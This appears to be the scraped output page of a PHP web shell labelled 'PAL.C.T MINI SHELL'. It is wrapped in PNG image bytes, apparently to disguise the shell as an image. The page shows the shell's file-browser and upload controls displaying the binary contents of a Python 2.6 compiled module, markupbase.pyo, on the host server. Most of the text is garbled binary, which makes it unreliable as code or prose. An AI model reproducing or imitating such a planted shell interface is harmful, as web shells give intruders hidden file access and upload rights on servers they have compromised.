php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/
upload
files >> //usr/lib/python2.6/markupbase.pyo

Lc@s}dZddkZeidiZeidiZeidZeidZeidZ[dd
d	YZ	dS(sShared support for scanning document type declarations in HTML and XHTML.

This module is used as a foundation for the HTMLParser and sgmllib
modules (indirectly, for htmllib as well).  It has no documented
public API and should not be used directly.

iNs[a-zA-Z][-_.a-zA-Z0-9]*\s*s(\'[^\']*\'|"[^"]*")\s*s--\s*>s	]\s*]\s*>s]\s*>t
ParserBasecBseZdZdZdZdZdZdZdZdZ	dd	Z
dd
ZdZdZ
d
ZdZdZdZdZRS(siParser base class which provides some common support methods used
    by the SGML/HTML and XHTML parsers.cCs$|itjotdndS(Ns(markupbase.ParserBase must be subclassed(t	__class__RtRuntimeError(tself((s /usr/lib/python2.6/markupbase.pyt__init__scCstddS(Ns.subclasses of ParserBase must override error()(tNotImplementedError(Rtmessage((s /usr/lib/python2.6/markupbase.pyterror!scCsd|_d|_dS(Nii(tlinenotoffset(R((s /usr/lib/python2.6/markupbase.pytreset%s	cCs|i|ifS(s&Return current line number and offset.(RR	(R((s /usr/lib/python2.6/markupbase.pytgetpos)scCs||jo|S|i}|id||}|o:|i||_|id||}||d|_n|i|||_|S(Ns
i(trawdatatcountRtrindexR	(RtitjRtnlinestpos((s /usr/lib/python2.6/markupbase.pyt	updatepos1s
	tc
	Csh|i}|d}|||d!djo	|dS|||d!djodSt|}|||d!djo|i|S||djo|i|S|i||\}}|d	jo|S|d
jo
d|_nx{||jom||}|djoE||d|!}|d
jo|i|n|i||dS|djo+t||}|pdS|i	}n|djo|i||\}	}n||ijo|d}n}|djoZ|d
jo|i
|d|}qM|djo|id|qM|idn|id|||d	jo|SqWdS(Niit>t-Ris--t[itdoctypes"'t4abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZtattlisttlinktypetlinktelements&unsupported '[' char in %s declarations"unexpected '[' char in declarations!unexpected %r char in declaration(RR(RRslinkR(Rtlent
parse_commenttparse_marked_sectiont
_scan_namet_decl_othercharsthandle_decltunknown_declt_declstringlit_matchtendt_parse_doctype_subsetR(
RRRRtntdecltypetctdatatmtname((s /usr/lib/python2.6/markupbase.pytparse_declarationAsZ	
	







	






icCs|i}|i|d|\}}|djo|S|d
joti||d}nD|djoti||d}n|id||d|!|pdS|o+|id}|i||d|!n|idS(Niittemptcdatatignoretincludetrcdatatiftelsetendifs+unknown status keyword %r in marked sectioni(R/R0signoreR2R3(R4R5R6(	RR!t_markedsectionclosetsearcht_msmarkedsectioncloseRtstartR$R&(RRtreportRtsectNameRtmatch((s /usr/lib/python2.6/markupbase.pyR s	


cCs|i}|||d!djo|idnti||d}|pdS|o+|id}|i||d|!n|idS(Nis<!--s"unexpected call to parse_comment()ii(RRt
_commentcloseR8R:thandle_commentR&(RRR;RR=R((s /usr/lib/python2.6/markupbase.pyRs	c
Cs|i}t|}|}x||jo||}|djog|||d!}|djodS|djo)|i||d|id|n|d|jodS|d|jodS|||d!djo.|i|d	d
}|d
jo|Sqn|i|d|\}}|djodS|djo)|i||d|id|nt|d|}	|	||}|d
jo|Sq|djog|d|jodS|i|d|\}}|d
jo|S||djo|d}qq|djo|d}x-||jo||io|d}q7W||jo7||djo|S|i|||idqdSq|io|d}q|i|||id|qWdS(Nt<iis<!is*unexpected char in internal subset (in %r)is<!--R;iRRtentitytnotations)unknown declaration %r in internal subsett_parse_doctype_t%t;t]Rs%unexpected char after internal subsets%unexpected char %r in internal subset(sattlistselementRARB(RRRRRR!tgetattrtisspace(
RRtdeclstartposRR(RR*tsR-tmeth((s /usr/lib/python2.6/markupbase.pyR'sr	








	





cCs]|i||\}}|djodS|i}d||jo|id|dSdS(NiRi(R!Rtfind(RRRIR-RR((s /usr/lib/python2.6/markupbase.pyt_parse_doctype_elements
	cCs@|i}|i||\}}|||d!}|djodS|djo	|dSx|i||\}}|djo|S|||d!}|djodS|djomd||jo|id|d}ndSx'|||d!io|d}qW||pdSn|i||\}}|||d!}|pdS|djoKt||}|o|i}ndS|||d!}|pdSn|d	joe||d	jodS|i|d|\}}|djo|S|||d!}|pdSn|djo	|dSq]dS(
NiRiRit(t)s'"t#(RR!RLRHR%R&(RRRIRR-RR*R,((s /usr/lib/python2.6/markupbase.pyt_parse_doctype_attlists\	

	


	
	

	
cCs|i||\}}|djo|S|i}x|||d!}|pdS|djo	|dS|djo+t||}|pdS|i}q6|i||\}}|djo|Sq6dS(NiiiRs'"(R!RR%R&(RRRIR-RRR*R,((s /usr/lib/python2.6/markupbase.pyt_parse_doctype_notation:s$
	
	

cCsC|i}|||d!djoM|d}xF|||d!}|pdS|io|d}q.Pq.n|}|i||\}}|djo|Sx|i||d!}|pdS|djo.t||}|o|i}q<dSq|djo	|dS|i||\}}|djo|SqdS(NiRDiis'"R(RRHR!R%R&(RRRIRRR*R-R,((s /usr/lib/python2.6/markupbase.pyt_parse_doctype_entityQs8	




	
cCs|i}t|}||jodSt||}|oK|i}|i}|t||jodS|i|ifS|i|||i	d|||d!dS(Nisexpected name token at %ri(Ni(Ni(
RRtNonet_declname_matchtgrouptstriptlowerR&RR(RRRIRR(R,RJR-((s /usr/lib/python2.6/markupbase.pyR!us	
	cCsdS(N((RR+((s /usr/lib/python2.6/markupbase.pyR$s(t__name__t
__module__t__doc__RRR
RRR"R.R RR'RMRQRRRSR!R$(((s /usr/lib/python2.6/markupbase.pyRs"					
	N	C		9		$	((
R[tretcompileR=RUR%R>R7R9R(((s /usr/lib/python2.6/markupbase.pyt<module>s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`